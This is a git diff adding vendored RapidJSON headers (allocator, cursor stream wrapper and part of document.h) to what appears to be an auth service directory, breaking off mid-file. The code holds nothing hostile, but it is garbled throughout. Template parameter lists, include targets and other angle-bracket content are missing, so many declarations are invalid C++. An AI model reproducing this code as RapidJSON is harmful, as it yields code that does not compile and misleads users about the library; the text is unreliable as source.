const RAPIDJSON_NOEXCEPT + { + return traits_type::max_size(*this); + } + + template + void construct(pointer p, Args&&... args) + { + traits_type::construct(*this, p, std::forward(args)...); + } + void destroy(pointer p) + { + traits_type::destroy(*this, p); + } + +#else // !RAPIDJSON_HAS_CXX11 + + typedef typename allocator_type::reference reference; + typedef typename allocator_type::const_reference const_reference; + + pointer address(reference r) const RAPIDJSON_NOEXCEPT + { + return allocator_type::address(r); + } + const_pointer address(const_reference r) const RAPIDJSON_NOEXCEPT + { + return allocator_type::address(r); + } + + size_type max_size() const RAPIDJSON_NOEXCEPT + { + return allocator_type::max_size(); + } + + void construct(pointer p, const_reference r) + { + allocator_type::construct(p, r); + } + void destroy(pointer p) + { + allocator_type::destroy(p); + } + +#endif // !RAPIDJSON_HAS_CXX11 + + template + U* allocate(size_type n = 1, const void* = 0) + { + return RAPIDJSON_NAMESPACE::Malloc(baseAllocator_, n); + } + template + void deallocate(U* p, size_type n = 1) + { + RAPIDJSON_NAMESPACE::Free(baseAllocator_, p, n); + } + + pointer allocate(size_type n = 1, const void* = 0) + { + return allocate(n); + } + void deallocate(pointer p, size_type n = 1) + { + deallocate(p, n); + } + +#if RAPIDJSON_HAS_CXX11 + using is_always_equal = std::is_empty; +#endif + + template + bool operator==(const StdAllocator& rhs) const RAPIDJSON_NOEXCEPT + { + return baseAllocator_ == rhs.baseAllocator_; + } + template + bool operator!=(const StdAllocator& rhs) const RAPIDJSON_NOEXCEPT + { + return !operator==(rhs); + } + + //! rapidjson Allocator concept + static const bool kNeedFree = BaseAllocator::kNeedFree; + static const bool kRefCounted = internal::IsRefCounted::Value; + void* Malloc(size_t size) + { + return baseAllocator_.Malloc(size); + } + void* Realloc(void* originalPtr, size_t originalSize, size_t newSize) + { + return baseAllocator_.Realloc(originalPtr, originalSize, newSize); + } + static void Free(void *ptr) RAPIDJSON_NOEXCEPT + { + BaseAllocator::Free(ptr); + } + +private: + template + friend class StdAllocator; // access to StdAllocator.* + + BaseAllocator baseAllocator_; +}; + +#if !RAPIDJSON_HAS_CXX17 // std::allocator deprecated in C++17 +template +class StdAllocator : + public std::allocator +{ + typedef std::allocator allocator_type; + +public: + typedef BaseAllocator BaseAllocatorType; + + StdAllocator() RAPIDJSON_NOEXCEPT : + allocator_type(), + baseAllocator_() + { } + + StdAllocator(const StdAllocator& rhs) RAPIDJSON_NOEXCEPT : + allocator_type(rhs), + baseAllocator_(rhs.baseAllocator_) + { } + + template + StdAllocator(const StdAllocator& rhs) RAPIDJSON_NOEXCEPT : + allocator_type(rhs), + baseAllocator_(rhs.baseAllocator_) + { } + + /* implicit */ + StdAllocator(const BaseAllocator& baseAllocator) RAPIDJSON_NOEXCEPT : + allocator_type(), + baseAllocator_(baseAllocator) + { } + + ~StdAllocator() RAPIDJSON_NOEXCEPT + { } + + template + struct rebind { + typedef StdAllocator other; + }; + + typedef typename allocator_type::value_type value_type; + +private: + template + friend class StdAllocator; // access to StdAllocator.* + + BaseAllocator baseAllocator_; +}; +#endif + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_ENCODINGS_H_ diff --git a/services/service2/src/auth_service/rapidjson/cursorstreamwrapper.h b/services/service2/src/auth_service/rapidjson/cursorstreamwrapper.h new file mode 100644 index 0000000..fd6513d --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/cursorstreamwrapper.h @@ -0,0 +1,78 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_CURSORSTREAMWRAPPER_H_ +#define RAPIDJSON_CURSORSTREAMWRAPPER_H_ + +#include "stream.h" + +#if defined(__GNUC__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +#endif + +#if defined(_MSC_VER) && _MSC_VER <= 1800 +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4702) // unreachable code +RAPIDJSON_DIAG_OFF(4512) // assignment operator could not be generated +#endif + +RAPIDJSON_NAMESPACE_BEGIN + + +//! Cursor stream wrapper for counting line and column number if error exists. +/*! + \tparam InputStream Any stream that implements Stream Concept +*/ +template > +class CursorStreamWrapper : public GenericStreamWrapper { +public: + typedef typename Encoding::Ch Ch; + + CursorStreamWrapper(InputStream& is): + GenericStreamWrapper(is), line_(1), col_(0) {} + + // counting line and column number + Ch Take() { + Ch ch = this->is_.Take(); + if(ch == '\n') { + line_ ++; + col_ = 0; + } else { + col_ ++; + } + return ch; + } + + //! Get the error line number, if error exists. + size_t GetLine() const { return line_; } + //! Get the error column number, if error exists. + size_t GetColumn() const { return col_; } + +private: + size_t line_; //!< Current Line + size_t col_; //!< Current Column +}; + +#if defined(_MSC_VER) && _MSC_VER <= 1800 +RAPIDJSON_DIAG_POP +#endif + +#if defined(__GNUC__) +RAPIDJSON_DIAG_POP +#endif + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_CURSORSTREAMWRAPPER_H_ diff --git a/services/service2/src/auth_service/rapidjson/document.h b/services/service2/src/auth_service/rapidjson/document.h new file mode 100644 index 0000000..4f1e246 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/document.h @@ -0,0 +1,3043 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_DOCUMENT_H_ +#define RAPIDJSON_DOCUMENT_H_ + +/*! \file document.h */ + +#include "reader.h" +#include "internal/meta.h" +#include "internal/strfunc.h" +#include "memorystream.h" +#include "encodedstream.h" +#include // placement new +#include +#ifdef __cpp_lib_three_way_comparison +#include +#endif + +RAPIDJSON_DIAG_PUSH +#ifdef __clang__ +RAPIDJSON_DIAG_OFF(padded) +RAPIDJSON_DIAG_OFF(switch-enum) +RAPIDJSON_DIAG_OFF(c++98-compat) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_OFF(4127) // conditional expression is constant +RAPIDJSON_DIAG_OFF(4244) // conversion from kXxxFlags to 'uint16_t', possible loss of data +#endif + +#ifdef __GNUC__ +RAPIDJSON_DIAG_OFF(effc++) +#endif // __GNUC__ + +#ifdef GetObject +// see https://github.com/Tencent/rapidjson/issues/1448 +// a former included windows.h might have defined a macro called GetObject, which affects +// GetObject defined here. This ensures the macro does not get applied +#pragma push_macro("GetObject") +#define RAPIDJSON_WINDOWS_GETOBJECT_WORKAROUND_APPLIED +#undef GetObject +#endif + +#ifndef RAPIDJSON_NOMEMBERITERATORCLASS +#include // std::random_access_iterator_tag +#endif + +#if RAPIDJSON_USE_MEMBERSMAP +#include // std::multimap +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +// Forward declaration. +template +class GenericValue; + +template +class GenericDocument; + +/*! \def RAPIDJSON_DEFAULT_ALLOCATOR + \ingroup RAPIDJSON_CONFIG + \brief Allows to choose default allocator. + + User can define this to use CrtAllocator or MemoryPoolAllocator. +*/ +#ifndef RAPIDJSON_DEFAULT_ALLOCATOR +#define RAPIDJSON_DEFAULT_ALLOCATOR ::RAPIDJSON_NAMESPACE::MemoryPoolAllocator<::RAPIDJSON_NAMESPACE::CrtAllocator> +#endif + +/*! \def RAPIDJSON_DEFAULT_STACK_ALLOCATOR + \ingroup RAPIDJSON_CONFIG + \brief Allows to choose default stack allocator for Document. + + User can define this to use CrtAllocator or MemoryPoolAllocator. +*/ +#ifndef RAPIDJSON_DEFAULT_STACK_ALLOCATOR +#define RAPIDJSON_DEFAULT_STACK_ALLOCATOR ::RAPIDJSON_NAMESPACE::CrtAllocator +#endif + +/*! \def RAPIDJSON_VALUE_DEFAULT_OBJECT_CAPACITY + \ingroup RAPIDJSON_CONFIG + \brief User defined kDefaultObjectCapacity value. + + User can define this as any natural number. +*/ +#ifndef RAPIDJSON_VALUE_DEFAULT_OBJECT_CAPACITY +// number of objects that rapidjson::Value allocates memory for by default +#define RAPIDJSON_VALUE_DEFAULT_OBJECT_CAPACITY 16 +#endif + +/*! \def RAPIDJSON_VALUE_DEFAULT_ARRAY_CAPACITY + \ingroup RAPIDJSON_CONFIG + \brief User defined kDefaultArrayCapacity value. + + User can define this as any natural number. +*/ +#ifndef RAPIDJSON_VALUE_DEFAULT_ARRAY_CAPACITY +// number of array elements that rapidjson::Value allocates memory for by default +#define RAPIDJSON_VALUE_DEFAULT_ARRAY_CAPACITY 16 +#endif + +//! Name-value pair in a JSON object value. +/*! + This class was internal to GenericValue. It used to be a inner struct. + But a compiler (IBM XL C/C++ for AIX) have reported to have problem with that so it moved as a namespace scope struct. + https://code.google.com/p/rapidjson/issues/detail?id=64 +*/ +template +class GenericMember { +public: + GenericValue name; //!< name of member (must be a string) + GenericValue value; //!< value of member. + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + //! Move constructor in C++11 + GenericMember(GenericMember&& rhs) RAPIDJSON_NOEXCEPT + : name(std::move(rhs.name)), + value(std::move(rhs.value)) + { + } + + //! Move assignment in C++11 + GenericMember& operator=(GenericMember&& rhs) RAPIDJSON_NOEXCEPT { + return *this = static_cast(rhs); + } +#endif + + //! Assignment with move semantics. + /*! \param rhs Source of the assignment. Its name and value will become a null value after assignment. + */ + GenericMember& operator=(GenericMember& rhs) RAPIDJSON_NOEXCEPT { + if (RAPIDJSON_LIKELY(this != &rhs)) { + name = rhs.name; + value = rhs.value; + } + return *this; + } + + // swap() for std::sort() and other potential use in STL. + friend inline void swap(GenericMember& a, GenericMember& b) RAPIDJSON_NOEXCEPT { + a.name.Swap(b.name); + a.value.Swap(b.value); + } + +private: + //! Copy constructor is not permitted. + GenericMember(const GenericMember& rhs); +}; + +/////////////////////////////////////////////////////////////////////////////// +// GenericMemberIterator + +#ifndef RAPIDJSON_NOMEMBERITERATORCLASS + +//! (Constant) member iterator for a JSON object value +/*! + \tparam Const Is this a constant iterator? + \tparam Encoding Encoding of the value. (Even non-string values need to have the same encoding in a document) + \tparam Allocator Allocator type for allocating memory of object, array and string. + + This class implements a Random Access Iterator for GenericMember elements + of a GenericValue, see ISO/IEC 14882:2003(E) C++ standard, 24.1 [lib.iterator.requirements]. + + \note This iterator implementation is mainly intended to avoid implicit + conversions from iterator values to \c NULL, + e.g. from GenericValue::FindMember. + + \note Define \c RAPIDJSON_NOMEMBERITERATORCLASS to fall back to a + pointer-based implementation, if your platform doesn't provide + the C++ header. + + \see GenericMember, GenericValue::MemberIterator, GenericValue::ConstMemberIterator + */ +template +class GenericMemberIterator { + + friend class GenericValue; + template friend class GenericMemberIterator; + + typedef GenericMember PlainType; + typedef typename internal::MaybeAddConst::Type ValueType; + +public: + //! Iterator type itself + typedef GenericMemberIterator Iterator; + //! Constant iterator type + typedef GenericMemberIterator ConstIterator; + //! Non-constant iterator type + typedef GenericMemberIterator NonConstIterator; + + /** \name std::iterator_traits support */ + //@{ + typedef ValueType value_type; + typedef ValueType * pointer; + typedef ValueType & reference; + typedef std::ptrdiff_t difference_type; + typedef std::random_access_iterator_tag iterator_category; + //@} + + //! Pointer to (const) GenericMember + typedef pointer Pointer; + //! Reference to (const) GenericMember + typedef reference Reference; + //! Signed integer type (e.g. \c ptrdiff_t) + typedef difference_type DifferenceType; + + //! Default constructor (singular value) + /*! Creates an iterator pointing to no element. + \note All operations, except for comparisons, are undefined on such values. + */ + GenericMemberIterator() : ptr_() {} + + //! Iterator conversions to more const + /*! + \param it (Non-const) iterator to copy from + + Allows the creation of an iterator from another GenericMemberIterator + that is "less const". Especially, creating a non-constant iterator + from a constant iterator are disabled: + \li const -> non-const (not ok) + \li const -> const (ok) + \li non-const -> const (ok) + \li non-const -> non-const (ok) + + \note If the \c Const template parameter is already \c false, this + constructor effectively defines a regular copy-constructor. + Otherwise, the copy constructor is implicitly defined. + */ + GenericMemberIterator(const NonConstIterator & it) : ptr_(it.ptr_) {} + Iterator& operator=(const NonConstIterator & it) { ptr_ = it.ptr_; return *this; } + + //! @name stepping + //@{ + Iterator& operator++(){ ++ptr_; return *this; } + Iterator& operator--(){ --ptr_; return *this; } + Iterator operator++(int){ Iterator old(*this); ++ptr_; return old; } + Iterator operator--(int){ Iterator old(*this); --ptr_; return old; } + //@} + + //! @name increment/decrement + //@{ + Iterator operator+(DifferenceType n) const { return Iterator(ptr_+n); } + Iterator operator-(DifferenceType n) const { return Iterator(ptr_-n); } + + Iterator& operator+=(DifferenceType n) { ptr_+=n; return *this; } + Iterator& operator-=(DifferenceType n) { ptr_-=n; return *this; } + //@} + + //! @name relations + //@{ + template bool operator==(const GenericMemberIterator& that) const { return ptr_ == that.ptr_; } + template bool operator!=(const GenericMemberIterator& that) const { return ptr_ != that.ptr_; } + template bool operator<=(const GenericMemberIterator& that) const { return ptr_ <= that.ptr_; } + template bool operator>=(const GenericMemberIterator& that) const { return ptr_ >= that.ptr_; } + template bool operator< (const GenericMemberIterator& that) const { return ptr_ < that.ptr_; } + template bool operator> (const GenericMemberIterator& that) const { return ptr_ > that.ptr_; } + +#ifdef __cpp_lib_three_way_comparison + template std::strong_ordering operator<=>(const GenericMemberIterator& that) const { return ptr_ <=> that.ptr_; } +#endif + //@} + + //! @name dereference + //@{ + Reference operator*() const { return *ptr_; } + Pointer operator->() const { return ptr_; } + Reference operator[](DifferenceType n) const { return ptr_[n]; } + //@} + + //! Distance + DifferenceType operator-(ConstIterator that) const { return ptr_-that.ptr_; } + +private: + //! Internal constructor from plain pointer + explicit GenericMemberIterator(Pointer p) : ptr_(p) {} + + Pointer ptr_; //!< raw pointer +}; + +#else // RAPIDJSON_NOMEMBERITERATORCLASS + +// class-based member iterator implementation disabled, use plain pointers + +template +class GenericMemberIterator; + +//! non-const GenericMemberIterator +template +class GenericMemberIterator { +public: + //! use plain pointer as iterator type + typedef GenericMember* Iterator; +}; +//! const GenericMemberIterator +template +class GenericMemberIterator { +public: + //! use plain const pointer as iterator type + typedef const GenericMember* Iterator; +}; + +#endif // RAPIDJSON_NOMEMBERITERATORCLASS + +/////////////////////////////////////////////////////////////////////////////// +// GenericStringRef + +//! Reference to a constant string (not taking a copy) +/*! + \tparam CharType character type of the string + + This helper class is used to automatically infer constant string + references for string literals, especially from \c const \b (!) + character arrays. + + The main use is for creating JSON string values without copying the + source string via an \ref Allocator. This requires that the referenced + string pointers have a sufficient lifetime, which exceeds the lifetime + of the associated GenericValue. + + \b Example + \code + Value v("foo"); // ok, no need to copy & calculate length + const char foo[] = "foo"; + v.SetString(foo); // ok + + const char* bar = foo; + // Value x(bar); // not ok, can't rely on bar's lifetime + Value x(StringRef(bar)); // lifetime explicitly guaranteed by user + Value y(StringRef(bar, 3)); // ok, explicitly pass length + \endcode + + \see StringRef, GenericValue::SetString +*/ +template +struct GenericStringRef { + typedef CharType Ch; //!< character type of the string + + //! Create string reference from \c const character array +#ifndef __clang__ // -Wdocumentation + /*! + This constructor implicitly creates a constant string reference from + a \c const character array. It has better performance than + \ref StringRef(const CharType*) by inferring the string \ref length + from the array length, and also supports strings containing null + characters. + + \tparam N length of the string, automatically inferred + + \param str Constant character array, lifetime assumed to be longer + than the use of the string in e.g. a GenericValue + + \post \ref s == str + + \note Constant complexity. + \note There is a hidden, private overload to disallow references to + non-const character arrays to be created via this constructor. + By this, e.g. function-scope arrays used to be filled via + \c snprintf are excluded from consideration. + In such cases, the referenced string should be \b copied to the + GenericValue instead. + */ +#endif + template + GenericStringRef(const CharType (&str)[N]) RAPIDJSON_NOEXCEPT + : s(str), length(N-1) {} + + //! Explicitly create string reference from \c const character pointer +#ifndef __clang__ // -Wdocumentation + /*! + This constructor can be used to \b explicitly create a reference to + a constant string pointer. + + \see StringRef(const CharType*) + + \param str Constant character pointer, lifetime assumed to be longer + than the use of the string in e.g. a GenericValue + + \post \ref s == str + + \note There is a hidden, private overload to disallow references to + non-const character arrays to be created via this constructor. + By this, e.g. function-scope arrays used to be filled via + \c snprintf are excluded from consideration. + In such cases, the referenced string should be \b copied to the + GenericValue instead. + */ +#endif + explicit GenericStringRef(const CharType* str) + : s(str), length(NotNullStrLen(str)) {} + + //! Create constant string reference from pointer and length +#ifndef __clang__ // -Wdocumentation + /*! \param str constant string, lifetime assumed to be longer than the use of the string in e.g. a GenericValue + \param len length of the string, excluding the trailing NULL terminator + + \post \ref s == str && \ref length == len + \note Constant complexity. + */ +#endif + GenericStringRef(const CharType* str, SizeType len) + : s(RAPIDJSON_LIKELY(str) ? str : emptyString), length(len) { RAPIDJSON_ASSERT(str != 0 || len == 0u); } + + GenericStringRef(const GenericStringRef& rhs) : s(rhs.s), length(rhs.length) {} + + //! implicit conversion to plain CharType pointer + operator const Ch *() const { return s; } + + const Ch* const s; //!< plain CharType pointer + const SizeType length; //!< length of the string (excluding the trailing NULL terminator) + +private: + SizeType NotNullStrLen(const CharType* str) { + RAPIDJSON_ASSERT(str != 0); + return internal::StrLen(str); + } + + /// Empty string - used when passing in a NULL pointer + static const Ch emptyString[]; + + //! Disallow construction from non-const array + template + GenericStringRef(CharType (&str)[N]) /* = delete */; + //! Copy assignment operator not permitted - immutable type + GenericStringRef& operator=(const GenericStringRef& rhs) /* = delete */; +}; + +template +const CharType GenericStringRef::emptyString[] = { CharType() }; + +//! Mark a character pointer as constant string +/*! Mark a plain character pointer as a "string literal". This function + can be used to avoid copying a character string to be referenced as a + value in a JSON GenericValue object, if the string's lifetime is known + to be valid long enough. + \tparam CharType Character type of the string + \param str Constant string, lifetime assumed to be longer than the use of the string in e.g. a GenericValue + \return GenericStringRef string reference object + \relatesalso GenericStringRef + + \see GenericValue::GenericValue(StringRefType), GenericValue::operator=(StringRefType), GenericValue::SetString(StringRefType), GenericValue::PushBack(StringRefType, Allocator&), GenericValue::AddMember +*/ +template +inline GenericStringRef StringRef(const CharType* str) { + return GenericStringRef(str); +} + +//! Mark a character pointer as constant string +/*! Mark a plain character pointer as a "string literal". This function + can be used to avoid copying a character string to be referenced as a + value in a JSON GenericValue object, if the string's lifetime is known + to be valid long enough. + + This version has better performance with supplied length, and also + supports string containing null characters. + + \tparam CharType character type of the string + \param str Constant string, lifetime assumed to be longer than the use of the string in e.g. a GenericValue + \param length The length of source string. + \return GenericStringRef string reference object + \relatesalso GenericStringRef +*/ +template +inline GenericStringRef StringRef(const CharType* str, size_t length) { + return GenericStringRef(str, SizeType(length)); +} + +#if RAPIDJSON_HAS_STDSTRING +//! Mark a string object as constant string +/*! Mark a string object (e.g. \c std::string) as a "string literal". + This function can be used to avoid copying a string to be referenced as a + value in a JSON GenericValue object, if the string's lifetime is known + to be valid long enough. + + \tparam CharType character type of the string + \param str Constant string, lifetime assumed to be longer than the use of the string in e.g. a GenericValue + \return GenericStringRef string reference object + \relatesalso GenericStringRef + \note Requires the definition of the preprocessor symbol \ref RAPIDJSON_HAS_STDSTRING. +*/ +template +inline GenericStringRef StringRef(const std::basic_string& str) { + return GenericStringRef(str.data(), SizeType(str.size())); +} +#endif + +/////////////////////////////////////////////////////////////////////////////// +// GenericValue type traits +namespace internal { + +template +struct IsGenericValueImpl : FalseType {}; + +// select candidates according to nested encoding and allocator types +template struct IsGenericValueImpl::Type, typename Void::Type> + : IsBaseOf, T>::Type {}; + +// helper to match arbitrary GenericValue instantiations, including derived classes +template struct IsGenericValue : IsGenericValueImpl::Type {}; + +} // namespace internal + +/////////////////////////////////////////////////////////////////////////////// +// TypeHelper + +namespace internal { + +template +struct TypeHelper {}; + +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsBool(); } + static bool Get(const ValueType& v) { return v.GetBool(); } + static ValueType& Set(ValueType& v, bool data) { return v.SetBool(data); } + static ValueType& Set(ValueType& v, bool data, typename ValueType::AllocatorType&) { return v.SetBool(data); } +}; + +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsInt(); } + static int Get(const ValueType& v) { return v.GetInt(); } + static ValueType& Set(ValueType& v, int data) { return v.SetInt(data); } + static ValueType& Set(ValueType& v, int data, typename ValueType::AllocatorType&) { return v.SetInt(data); } +}; + +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsUint(); } + static unsigned Get(const ValueType& v) { return v.GetUint(); } + static ValueType& Set(ValueType& v, unsigned data) { return v.SetUint(data); } + static ValueType& Set(ValueType& v, unsigned data, typename ValueType::AllocatorType&) { return v.SetUint(data); } +}; + +#ifdef _MSC_VER +RAPIDJSON_STATIC_ASSERT(sizeof(long) == sizeof(int)); +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsInt(); } + static long Get(const ValueType& v) { return v.GetInt(); } + static ValueType& Set(ValueType& v, long data) { return v.SetInt(data); } + static ValueType& Set(ValueType& v, long data, typename ValueType::AllocatorType&) { return v.SetInt(data); } +}; + +RAPIDJSON_STATIC_ASSERT(sizeof(unsigned long) == sizeof(unsigned)); +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsUint(); } + static unsigned long Get(const ValueType& v) { return v.GetUint(); } + static ValueType& Set(ValueType& v, unsigned long data) { return v.SetUint(data); } + static ValueType& Set(ValueType& v, unsigned long data, typename ValueType::AllocatorType&) { return v.SetUint(data); } +}; +#endif + +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsInt64(); } + static int64_t Get(const ValueType& v) { return v.GetInt64(); } + static ValueType& Set(ValueType& v, int64_t data) { return v.SetInt64(data); } + static ValueType& Set(ValueType& v, int64_t data, typename ValueType::AllocatorType&) { return v.SetInt64(data); } +}; + +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsUint64(); } + static uint64_t Get(const ValueType& v) { return v.GetUint64(); } + static ValueType& Set(ValueType& v, uint64_t data) { return v.SetUint64(data); } + static ValueType& Set(ValueType& v, uint64_t data, typename ValueType::AllocatorType&) { return v.SetUint64(data); } +}; + +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsDouble(); } + static double Get(const ValueType& v) { return v.GetDouble(); } + static ValueType& Set(ValueType& v, double data) { return v.SetDouble(data); } + static ValueType& Set(ValueType& v, double data, typename ValueType::AllocatorType&) { return v.SetDouble(data); } +}; + +template +struct TypeHelper { + static bool Is(const ValueType& v) { return v.IsFloat(); } + static float Get(const ValueType& v) { return v.GetFloat(); } + static ValueType& Set(ValueType& v, float data) { return v.SetFloat(data); } + static ValueType& Set(ValueType& v, float data, typename ValueType::AllocatorType&) { return v.SetFloat(data); } +}; + +template +struct TypeHelper { + typedef const typename ValueType::Ch* StringType; + static bool Is(const ValueType& v) { return v.IsString(); } + static StringType Get(const ValueType& v) { return v.GetString(); } + static ValueType& Set(ValueType& v, const StringType data) { return v.SetString(typename ValueType::StringRefType(data)); } + static ValueType& Set(ValueType& v, const StringType data, typename ValueType::AllocatorType& a) { return v.SetString(data, a); } +}; + +#if RAPIDJSON_HAS_STDSTRING +template +struct TypeHelper > { + typedef std::basic_string StringType; + static bool Is(const ValueType& v) { return v.IsString(); } + static StringType Get(const ValueType& v) { return StringType(v.GetString(), v.GetStringLength()); } + static ValueType& Set(ValueType& v, const StringType& data, typename ValueType::AllocatorType& a) { return v.SetString(data, a); } +}; +#endif + +template +struct TypeHelper { + typedef typename ValueType::Array ArrayType; + static bool Is(const ValueType& v) { return v.IsArray(); } + static ArrayType Get(ValueType& v) { return v.GetArray(); } + static ValueType& Set(ValueType& v, ArrayType data) { return v = data; } + static ValueType& Set(ValueType& v, ArrayType data, typename ValueType::AllocatorType&) { return v = data; } +}; + +template +struct TypeHelper { + typedef typename ValueType::ConstArray ArrayType; + static bool Is(const ValueType& v) { return v.IsArray(); } + static ArrayType Get(const ValueType& v) { return v.GetArray(); } +}; + +template +struct TypeHelper { + typedef typename ValueType::Object ObjectType; + static bool Is(const ValueType& v) { return v.IsObject(); } + static ObjectType Get(ValueType& v) { return v.GetObject(); } + static ValueType& Set(ValueType& v, ObjectType data) { return v = data; } + static ValueType& Set(ValueType& v, ObjectType data, typename ValueType::AllocatorType&) { return v = data; } +}; + +template +struct TypeHelper { + typedef typename ValueType::ConstObject ObjectType; + static bool Is(const ValueType& v) { return v.IsObject(); } + static ObjectType Get(const ValueType& v) { return v.GetObject(); } +}; + +} // namespace internal + +// Forward declarations +template class GenericArray; +template class GenericObject; + +/////////////////////////////////////////////////////////////////////////////// +// GenericValue + +//! Represents a JSON value. Use Value for UTF8 encoding and default allocator. +/*! + A JSON value can be one of 7 types. This class is a variant type supporting + these types. + + Use the Value if UTF8 and default allocator + + \tparam Encoding Encoding of the value. (Even non-string values need to have the same encoding in a document) + \tparam Allocator Allocator type for allocating memory of object, array and string. +*/ +template +class GenericValue { +public: + //! Name-value pair in an object. + typedef GenericMember Member; + typedef Encoding EncodingType; //!< Encoding type from template parameter. + typedef Allocator AllocatorType; //!< Allocator type from template parameter. + typedef typename Encoding::Ch Ch; //!< Character type derived from Encoding. + typedef GenericStringRef StringRefType; //!< Reference to a constant string + typedef typename GenericMemberIterator::Iterator MemberIterator; //!< Member iterator for iterating in object. + typedef typename GenericMemberIterator::Iterator ConstMemberIterator; //!< Constant member iterator for iterating in object. + typedef GenericValue* ValueIterator; //!< Value iterator for iterating in array. + typedef const GenericValue* ConstValueIterator; //!< Constant value iterator for iterating in array. + typedef GenericValue ValueType; //!< Value type of itself. + typedef GenericArray Array; + typedef GenericArray ConstArray; + typedef GenericObject Object; + typedef GenericObject ConstObject; + + //!@name Constructors and destructor. + //@{ + + //! Default constructor creates a null value. + GenericValue() RAPIDJSON_NOEXCEPT : data_() { data_.f.flags = kNullFlag; } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + //! Move constructor in C++11 + GenericValue(GenericValue&& rhs) RAPIDJSON_NOEXCEPT : data_(rhs.data_) { + rhs.data_.f.flags = kNullFlag; // give up contents + } +#endif + +private: + //! Copy constructor is not permitted. + GenericValue(const GenericValue& rhs); + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + //! Moving from a GenericDocument is not permitted. + template + GenericValue(GenericDocument&& rhs); + + //! Move assignment from a GenericDocument is not permitted. + template + GenericValue& operator=(GenericDocument&& rhs); +#endif + +public: + + //! Constructor with JSON value type. + /*! This creates a Value of specified type with default content. + \param type Type of the value. + \note Default content for number is zero. + */ + explicit GenericValue(Type type) RAPIDJSON_NOEXCEPT : data_() { + static const uint16_t defaultFlags[] = { + kNullFlag, kFalseFlag, kTrueFlag, kObjectFlag, kArrayFlag, kShortStringFlag, + kNumberAnyFlag + }; + RAPIDJSON_NOEXCEPT_ASSERT(type >= kNullType && type <= kNumberType); + data_.f.flags = defaultFlags[type]; + + // Use ShortString to store empty string. + if (type == kStringType) + data_.ss.SetLength(0); + } + + //! Explicit copy constructor (with allocator) + /*! Creates a copy of a Value by using the given Allocator + \tparam SourceAllocator allocator of \c rhs + \param rhs Value to copy from (read-only) + \param allocator Allocator for allocating copied elements and buffers. Commonly use GenericDocument::GetAllocator(). + \param copyConstStrings Force copying of constant strings (e.g. referencing an in-situ buffer) + \see CopyFrom() + */ + template + GenericValue(const GenericValue& rhs, Allocator& allocator, bool copyConstStrings = false) { + switch (rhs.GetType()) { + case kObjectType: + DoCopyMembers(rhs, allocator, copyConstStrings); + break; + case kArrayType: { + SizeType count = rhs.data_.a.size; + GenericValue* le = reinterpret_cast(allocator.Malloc(count * sizeof(GenericValue))); + const GenericValue* re = rhs.GetElementsPointer(); + for (SizeType i = 0; i < count; i++) + new (&le[i]) GenericValue(re[i], allocator, copyConstStrings); + data_.f.flags = kArrayFlag; + data_.a.size = data_.a.capacity = count; + SetElementsPointer(le); + } + break; + case kStringType: + if (rhs.data_.f.flags == kConstStringFlag && !copyConstStrings) { + data_.f.flags = rhs.data_.f.flags; + data_ = *reinterpret_cast(&rhs.data_); + } + else + SetStringRaw(StringRef(rhs.GetString(), rhs.GetStringLength()), allocator); + break; + default: + data_.f.flags = rhs.data_.f.flags; + data_ = *reinterpret_cast(&rhs.data_); + break; + } + } + + //! Constructor for boolean value. + /*! \param b Boolean value + \note This constructor is limited to \em real boolean values and rejects + implicitly converted types like arbitrary pointers. Use an explicit cast + to \c bool, if you want to construct a boolean JSON value in such cases. + */ +#ifndef RAPIDJSON_DOXYGEN_RUNNING // hide SFINAE from Doxygen + template + explicit GenericValue(T b, RAPIDJSON_ENABLEIF((internal::IsSame))) RAPIDJSON_NOEXCEPT // See #472 +#else + explicit GenericValue(bool b) RAPIDJSON_NOEXCEPT +#endif + : data_() { + // safe-guard against failing SFINAE + RAPIDJSON_STATIC_ASSERT((internal::IsSame::Value)); + data_.f.flags = b ? kTrueFlag : kFalseFlag; + } + + //! Constructor for int value. + explicit GenericValue(int i) RAPIDJSON_NOEXCEPT : data_() { + data_.n.i64 = i; + data_.f.flags = (i >= 0) ? (kNumberIntFlag | kUintFlag | kUint64Flag) : kNumberIntFlag; + } + + //! Constructor for unsigned value. + explicit GenericValue(unsigned u) RAPIDJSON_NOEXCEPT : data_() { + data_.n.u64 = u; + data_.f.flags = (u & 0x80000000) ? kNumberUintFlag : (kNumberUintFlag | kIntFlag | kInt64Flag); + } + + //! Constructor for int64_t value. + explicit GenericValue(int64_t i64) 